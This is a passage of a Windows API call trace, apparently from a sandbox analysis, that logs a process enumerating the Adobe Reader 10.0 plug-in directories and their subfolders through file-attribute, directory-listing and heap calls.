returned 0x12a2d90 [0082.930] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.954] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0082.954] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0082.955] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0082.956] NtClose (Handle=0x178) returned 0x0 [0082.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0082.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0082.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2e98 [0082.957] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0082.957] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.957] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePDF417.pmp", cAlternateFileName="")) returned 1 [0082.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2fa0 [0082.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214f00 [0082.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a30a8 [0082.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.959] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMatrix.pmp", cAlternateFileName="")) returned 1 [0082.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214f20 [0082.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a31b0 [0082.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.961] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e77b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRCode.pmp", cAlternateFileName="")) returned 1 [0082.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214f40 [0082.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a32b8 [0082.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.963] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e77b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRCode.pmp", cAlternateFileName="")) returned 0 [0082.963] GetLastError () returned 0x12 [0082.963] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0082.963] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0082.963] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.963] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePDF417.pmp", cAlternateFileName="")) returned 1 [0082.963] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMatrix.pmp", cAlternateFileName="")) returned 1 [0082.963] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e77b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRCode.pmp", cAlternateFileName="")) returned 1 [0082.963] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e77b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRCode.pmp", cAlternateFileName="")) returned 0 [0082.963] GetLastError () returned 0x12 [0082.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2e98) returned 1 [0082.964] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2fa0) returned 1 [0082.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0082.964] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0 [0082.964] GetLastError () returned 0x12 [0082.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2a78) returned 1 [0082.964] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2b80) returned 1 [0082.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2970) returned 1 [0082.965] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8308ce80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae8a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0082.965] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e2b880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x217e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroSign.prc", cAlternateFileName="")) returned 1 [0082.965] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annotations", cAlternateFileName="")) returned 1 [0082.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2970 [0082.965] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.967] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0082.968] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0082.968] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0082.968] NtClose (Handle=0x174) returned 0x0 [0082.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2970) returned 1 [0082.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2970 [0082.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2b80 [0082.970] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0082.970] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.970] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1 [0082.970] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0082.970] GetLastError () returned 0x12 [0082.970] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0082.970] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.970] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.970] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1 [0082.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2a78 [0082.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0082.971] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0082.971] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0082.972] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0082.972] NtClose (Handle=0x174) returned 0x0 [0082.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0082.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0082.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2fa0 [0082.973] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0082.983] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.983] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0082.983] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1 [0082.983] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1 [0082.984] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, 